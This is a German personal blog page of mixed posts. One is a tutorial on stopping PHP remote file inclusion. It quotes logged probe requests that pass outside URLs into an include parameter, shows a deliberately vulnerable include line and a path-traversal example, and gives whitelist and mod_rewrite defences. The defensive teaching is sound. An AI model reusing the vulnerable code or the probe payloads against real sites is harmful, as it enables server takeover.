Wer hat an der Uhr gedreht? Ist es wirklich schon so spät?

Sagt mal, ist das nur mein Windows Vista, das heute mit dem Datum rumzickt, oder ist das ein allgemeines Problem mit den Zeit-Servern und/oder der anstehenden Umstellung auf Sommerzeit dieses Wochenende?

Als ich heute morgen an den Rechner gegangen bin, war Windows der Meinung, es wäre der 1.1.2006. Ein Abgleich mit den NTP-Servern war nicht möglich, also habe ich das Datum manuell wieder eingestellt.

Jetzt hab ich mich für ein paar Minuten vor den Fernseher verzogen, und als ich zurück komme sagt mir mein Outlook plötzlich, dass diverse Termine seit 41740 Wochen überfällig sind… Ein Blick auf’s Systemdatum verrät auch warum: Plötzlich haben wir den 28.3.2808…

Ein Riss im Raum-Zeit-Kontinuum?

… waren das noch Zeiten…

… als ein vollständiges Backup der Festplatte noch auf einen 74 Minuten CD-Rohling gepasst hat…

Ich gehe hier gerade durch ein paar alte Backups durch (teilweise noch aus dem letzten Jahrtausend) und sortiere ein bisschen aus… Sind aber ein paar nette Fundstücke darunter…

Was braucht man für einen IQ, um Habbo-Hotel spielen zu können?

Aus dem 4cheaters-Forum (Weil da irgendein Blödian mal einen Beitrag „50 Habbo-Taler Umsonst“ reingesetzt hat, und jetzt alle drauf antworten, obwohl der Original-Beitrag schon lange gelöscht ist):

ey bitte ich bin voll ein habbo fan und ich darf nie sms senden und ich wollte dich freagen ob du mir 5o taler geben könntest ich liebe habbo habbo ist mrein leben ich bin immer 6 stunden bei habbo aber ich will nicht lügen manschmel auch 5 oider4 oder 3 oder2 oder 1stubnde beihabbo bitte saknnst du mir 50 taler geben

Wer braucht schon Punkt oder Komma, wenn er immer 6 Stunden (oder 5 oder 4 oder 3 oder 2 oder 1 Stubnde) spielt?

Sicherer PHP-Code: PHP Code Injection verhindern

Wer ab und an mal einen Blick in seine Webserver-Logdateien wirft (was man als ernsthafter Webmaster regelmäßig tun sollte), der wird vermutlich früher oder später über derartige, seltsame Seitenaufrufe stolpern:

  • „GET /fooscript.php?w=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin%2Flibraries%2Foduzov%2Fneloze%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fsahel55.com%2Farticles%2Fomaduro%2Fkimumid%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.cjp.spb.ru%2Fen%2Ftis%2Fleboma%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.electrofed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F HTTP/1.0“

Das Muster ist immer das gleiche: Innerhalb von kurzer Zeit werden mehrere relativ ähnliche Aufrufe von ein und der selben IP gestartet. Dabei wird ein wirklich auf dem Server befindliches Script (in diesem Beispiel fooscript.php) aufgerufen und dabei einer der (ebenfalls wirklich existierenden) Parameter mit einer URL einer auf einem anderen Server liegenden  Datei befüllt.

In den oben gezeigten Beispielen liegt unter den angegebenen Adressen eine Datei mit folgendem Inhalt:

<?php echo md5("just_a_test");?>

Es wird relativ schnell klar, was das eigentlich nur sein kann: Hier versucht jemand, eine Schwachstelle in den auf dem Server laufenden PHP-Scripten ausfindig zu machen.

PHP bietet nämlich die mächtige Funktionalität, auf URLs genau so lesend zuzugreifen wie auf lokal auf der Festplatte liegende Dateien. Das gilt für Datei-Operationen wie fopen genau so wie auch für – und hier wird’s für Hacker interessant – include und require.

Und wenn jetzt ein Programmierer so unvorsichtig war, in seinem Programm ungefiltert Werte aus dem Querystring an ein Include zu übergeben, der hat an diesem Punkt leider verloren.
<?php include $_GET['w'];?>

Was jetzt passiert ist folgendes: Das PHP-Script liest die im Seitenaufruf übergebene Web-Adresse aus und führt den dort liegenden Code aus. Es erscheint also der Text „c6db3524fe71d6c576098805a07e79e4“ in der Seite (das ist die MD5-Checksumme von „just_a_test“). Damit weiss der Angreifer, dass er an dieser Stelle beliebigen PHP-Programmcode auf den Server einschleußen kann. Und wenn er das kann, dann hat er die Kontrolle über den Server. Er kann beliebige Daten „hochspielen“, in der Datenbank tun und lassen, was er will, und, und, und…

Was also dagegen tun?

Einerseits ist das mit dem Zugriff auf URLs so wie auf normale Dateien schon eine praktische Sache. Oft kann man aber darauf verzichten. Die Holzhammer-Methode ist, in der php.ini die Einstellung allow_url_fopen zu deaktivieren. Damit ist man auf der sicheren Seite, hat aber das „Problem“, dass man damit eben die ganze Funktionalität abgeschaltet hat, und zwar nicht nur für include und require, sondern auch bei den anderen, nicht so problematischen Datei-Operationen.

Ganz davon abgesehen hat man sich damit noch nicht dagegen geschützt, dass mit dem oben genannten include-Statement doch noch Schabernak getrieben werden kann.

Häufig ist die Anwendung eines solchen Includes ja, dass es eine Art „Framework-Seite“ gibt, die beispielsweise das Layout beinhaltet und die Datenbank-Connection öffnet. Und darin werden dann einzelne Funktions-Module geladen. Man könnte sich beispielsweise vorstellen, dass mittels „index.php?w=home.php“ die Datei home.php den Startseiten-Inhalt an der richtigen Stelle einblendet, während „index.php?w=links.php“ im gleichen Layout eine Linkliste zeigt. Was aber, wenn ein Angreifer auf die Idee kommt, „index.php?w=/etc/apache2/apache2.conf“ aufzurufen? Bekommt er dann die Konfigurationsdatei des Apache-Webservers angezeigt?

Da hilft nur eines: Sicherstellen, dass auf jeden Fall nur erlaubte Include-Pfade angegeben werden können. Eine erste gute Idee ist es schon mal, beim Include vorne und hinten an den übergebenen Parameter etwas anzuhängen:
<?php include '/var/www/includes/' . $_GET['w'] . '.plugin.php';?>
Damit fällt erstens die Möglichkeit weg, per „http://…“ etwas von einem anderen Server zu laden, weil der damit generierte Dateiname keinen Sinn mehr macht. Ausserdem kann man nichts anderes mehr als Dateien „reinladen“, die mit „.plugin.php“ enden.

Schöner, aber immer noch nicht perfekt. Noch ist der Angreifer nämlich nicht ganz eingeschränkt. Noch immer kann er mit Aufruf von „index.php?w=../../foo/bar“ eine Datei aus einem anderen Verzeichnis als eigentlich vorgesehen aufrufen.

Ergo: Weiter filtern. Entweder mit einer Blacklist oder einer Whitelist.

Blacklist bedeutet: Wir suchen nach Mustern, die wir auf jeden Fall verbieten wollen. Wenn beispielsweise der übergebene Parameter „../“ enthält, dann brechen wir ab. Das gute daran ist, dass wir relativ flexibel erlauben oder verbieten können, wie auf die Seite zugegriffen werden kann. Der Nachteil allerdings ist, dass wir alle möglichen Angriffs-Strategien vorausahnen und unterbinden müssen.

Sicherer sind Whitelists: Hier sagen wir, was erlaubt ist. Wir können beispielsweise eine Liste aller erlaubten Werte in einem Array halten und überprüfen, ob der beim Aufruf übergebene Wert enthalten ist:
$ok = array('home', 'links', 'downloads');

if (in_array($_GET['w'], $ok)) {
  include '/var/www/includes/' . $_GET['w'] . '.plugin.php';
}

Dadurch verlieren wir aber einiges an Flexibilität, da wir jedes mal, wenn es eine neue Seite geben soll, auch den $ok-Array aktualisieren müssen. Wir könnten aber auch definieren, dass einfach alle include-Dateinamen einem bestimmten Muster folgen müssen. In etwa: Sie bestehen nur aus alphanumerischen Zeichen und Underscore. Ergebnis:
include '/var/www/includes/' .
preg_replace('/[^a-z0-9_]/i', '', $_GET['w']) .
'.plugin.php';

Und schon kommt uns an dieser Stelle nichts gemeines mehr rein.

So ganz ohne Haken ist das aber auch noch nicht: Erstens hat man bei fremden Scripten oft gar nicht so genau den Überblick, was darin eigentlich passiert – und zweitens muss man natürlich auch bei eigenen Scripten an jeder einzelnen relevanten Stelle aufpassen. Und last, but not least: Wenn das Script erst irgendwas halbwegs sinnvolles tut, dann aber wegen dem falschen Parameter abbricht, dann hat das zwar keine so fatalen Folgen mehr, kann aber einen negativen Beigeschmack haben.

Beispielsweise bringen solche Aufrufe gern Seiten-Abruf Statistiken durcheinander.

Deshalb zuletzt noch eine meiner Meinung nach sehr schöne Zusatzsicherung: Wenn man sicher sein kann, dass keines der auf dem Server laufenden Scripte ein „http:“ im Querystring erwartet, dann kann man einen Apache-Webserver mittels ein paar Zeilen in der .htaccess absichern. Bedingung ist allerdings, dass man mod_rewrite installiert hat.
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /--http-- [F,NC]
RewriteRule http: /--http-- [F,NC]

Diese Befehle durchsuchen den eingehenden Request nach „http:“, und falls es vorkommen sollte, so antwortet der Server sofort mit einem „Forbidden“. Der Angreifer ist also abgewehrt, bevor es überhaupt zur Ausführung von PHP-Code kommt.

Allerdings daran denken: An manchen Stellen mag es durchaus Sinn machen, „http“ als Parameter zu erlauben. Falls nicht, so ist das jedoch der Weg der Wahl – und falls doch, dann kann man auch dazu etwas mit mod_rewrite zaubern.

Wii vs. X-Box 360 vs. Playstation 3

Eigentlich hab ich ja eine recht umfangreiche Sammlung im Regal stehen: Vom alten C64, NES oder dem noch älteren Atari 2600 über SNES, Mega Drive, Nintendo64 bis hin zu GameCube, Playstation 2 und der (alten) X-Box stehen da insgesamt 15 Spielekonsolen und klassische 8- und 16-bit Computer…

Mario Kart Wii Eigentlich müssten da auch die aktuellen Next-Gen Konsolen dazu. X-Box 360, Playstation 3 und Wii

Eigentlich…

Nur: Irgendwie reizt mich von denen nur das Wii. Die X-Box 360 hätte ihre Daseins-Berechtigung vielleicht noch als Medien-Player. Und die Playstation 3 eigentlich nur, weil sie nur unwesentlich teurer als der günstigste verfügbare Blu-ray-Player ist.

Aber zum Spielen? Eigentlich ist da aus meiner Sicht nur die Wii interessant…

Woran liegt’s?

X-Box und Playstation sind aus meiner Sicht nur spezialisierte PCs und bieten seit Jahren Einheitsbrei: Die gleichen Spiele, wie die, die wir auch schon vor 5 Jahren gespielt haben – nur mit besserer Grafik. Das kann mein PC aber auch. Nur kann der meine bevorzugten Spiele noch viel besser als die Konsolen: Adventures und Strategiespiele kann man mit Maus und Tastatur einfach wesentlich leichter steuern als mit einem Gamepad.

Die Wii bietet dagegen etwas neues: Einerseits ein bisher einmaliges Steuerungs-Konzept und andererseits dadurch auch ein komplett anderes Spielgefühl. Obendrein sind die Spiele eher in die Kategorie „Casual Games“ einzuordnen. Das spricht mich viel mehr an, als der 7482. Ego-Shooter, das 8937. Rennspiel oder das 1283. EA Sport-Spiel…

Ergo: Die Wii steht in drei Wochen auf der Einkaufsliste. Pünktlich zum Erscheinungstermin von Mario Kart Wii. Aber statt X-Box 360 und/oder Playstation 3 werde ich mir lieber irgendwann einen selbst zusammengeschraubten PC neben den Fernseher stellen. Der kann mehr – und wenn er etwas nicht kann, dann kann ich es ihm beibringen.

[Update]
… inzwischen steht 18. April als Veröffentlichungsdatum drin… 🙂

Nikolaus und Osterhase…

Nikolaus – Osterhase – Nikohase – Osterlaus – …

Klarer Fall: Der Osterhase ist ein Hase… Aber warum ist der Nikolaus keine Laus?

So ein Käse

Kleines Update zu meiner Käsebeobachtung:

Jetzt gibt’s bei „meinem“ Netto auch nur noch die 200g Packung. Dafür aber auch etwas Preisreduziert für 1.79 Euro…

Ergo: 20% weniger Inhalt bei 10% weniger Preis… Wenn mich mein Adam Ries nicht verlassen hat, dann bedeutet das eine Preiserhöhung von 12%…

Was ist aus dem Milchsee geworden?

Diese Mail ist kein Spam

Als ich grad in meinen SPAM-Ordner reingeschaut hab ist mir eine Mail mit folgender Fußnote aufgefallen:

Rechtlicher Hinweis/Note:
Dies ist kein SPAM, sondern eine Rückmeldung/Anfrage/Antwort/Bekanntgabe/Reaktion auf Ihr/e/n Eintrag/Anschreiben/Anfrage/Gesuch/Veröffentlichung/Bekanntgabe in / oder an ein Postfach / Gästebuch / Mailfach / Linkliste / Anzeige / Klickmail / Websiteeintragung bei uns und/ oder einem unserer Partner/ öffentliche Werbe- Agenturen / träger/ Onlineanzeigenunternehmen. Es besteht kein Verstoß gegen das BGH, Urt. v. 11.3.2004, I ZR 81/01, ZAP 2004, Fach 1, S. 77.: Sollten Sie diese E-Mail mehr als einmal erhalten haben, bitten wir dieses zu entschuldigen. Es kann hin und wieder geschehen, dass manche Einträge/Anzeigen/Datensätze/Angaben/Archive doppelt, aber nicht gleicher Art/Inhalt sind.

Klar, ’ne? Ich find das so weit aber ganz okay, dass diese Rückmeldung/Anfrage/Antwort/Bekanntgabe/Reaktion in meinem SPAM/Unerwünschte Mails/Junk-E-Mail/Müll einsortiert wurde, denn wer mir so eine Mail 42 mal (jeweils 14 mal an drei verschiedene Mail-Adressen) zuschickt, der hat’s nicht anders verdient.

Nicht ganz überraschend existiert die in der Mail angegebene Domain zum Abmelden vom „Newsletter“ dann auch gar nicht… Ist ja auch unwichtig, denn man soll ja dazu bewegt werden, irgendwo anzurufen (was dann vermutlich nicht nur den in der Mail angegebenen 1 Euro pro Anruf kostet, sondern 689374 Euro). Mich hat’s ja kurz im Finger gezuckt, die Domain zu grabben, aber ich hab mir schon mal eine nicht existierende Domain  eines Spam-Versenders geholt… Und mehr als Beschimpfungs-Mails bringt das auch nicht… 😉